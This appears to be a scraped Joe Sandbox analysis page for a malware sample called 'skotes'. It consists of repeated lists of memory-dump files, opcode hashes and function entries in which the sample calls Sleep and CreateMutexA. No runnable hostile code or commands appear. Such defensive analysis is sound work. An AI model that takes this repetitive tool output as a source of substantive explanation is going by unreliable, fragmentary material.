Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: c456b32ee0a416b35501ca9579873c2e752ea9ea205dd7e0905f5fb995f45fc7
Instruction ID: c09705e0bce53f6a07ace3fea27221ff7945c48773687ca4a731418aeebf149b
Opcode Fuzzy Hash: c456b32ee0a416b35501ca9579873c2e752ea9ea205dd7e0905f5fb995f45fc7
Instruction Fuzzy Hash: 28311571710204DBEB189BA8EC9EF6DBBA2AFA1314F20425DE014AB3D6C775D980C651

Function 001C9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: 9d3bc401ff34239d5301cba05877cc3c8f13a7b882bc8caa3cfffe1378265f0e
Instruction ID: 9667bbeb5932de4ec0a787fe66c12126a6ae042af1d1f094028414c7838b1bd5
Opcode Fuzzy Hash: 9d3bc401ff34239d5301cba05877cc3c8f13a7b882bc8caa3cfffe1378265f0e
Instruction Fuzzy Hash: E13125317102089BEB189BA8D89DBADBB62EFA6714F60435DE018EB2D5C735C9808752

Function 001CA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: d4e7b5389cc9333ebef44848efc7cf26f9fec2c4cfd67aa3c960221f2553ee41
Instruction ID: 62188a86ff4ceec8d54e7e94d941a64d668eccca7994482ae66b6698e0bf0266
Opcode Fuzzy Hash: d4e7b5389cc9333ebef44848efc7cf26f9fec2c4cfd67aa3c960221f2553ee41
Instruction Fuzzy Hash: 9A313331B102089BEB19DBB8DCDAB6DBB72DFA1318F64825DE0149B3D5C736D980C652

Function 001CA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: 10fe77d476d286c6369b70e3b90dc169c7ac2e9a9cb7421e22bdba0b89333ea0
Instruction ID: 18227fed5e31f3c75a090284c34224dfc27600df7c58db2c4f07a3685412b395
Opcode Fuzzy Hash: 10fe77d476d286c6369b70e3b90dc169c7ac2e9a9cb7421e22bdba0b89333ea0
Instruction Fuzzy Hash: 58312531B002089BEB099BA8DC9EB6DB762AFA6718F64425DE0049B2D5C736C9808612

Function 001CA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: 8c7b20fcdcceb5fd56d74b9ab131fc3aae95928c6d0a1c645efd5e19f0509577
Instruction ID: 540aa52e7652c19f73cdc45dd153d54272b071d520f3430cfc50bcc97e952150
Opcode Fuzzy Hash: 8c7b20fcdcceb5fd56d74b9ab131fc3aae95928c6d0a1c645efd5e19f0509577
Instruction Fuzzy Hash: 20314531B00208DBEB0D9BB8D8DEF6DB762EFA1318F64421CE0549B2C5C775CD808652

Function 001CA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
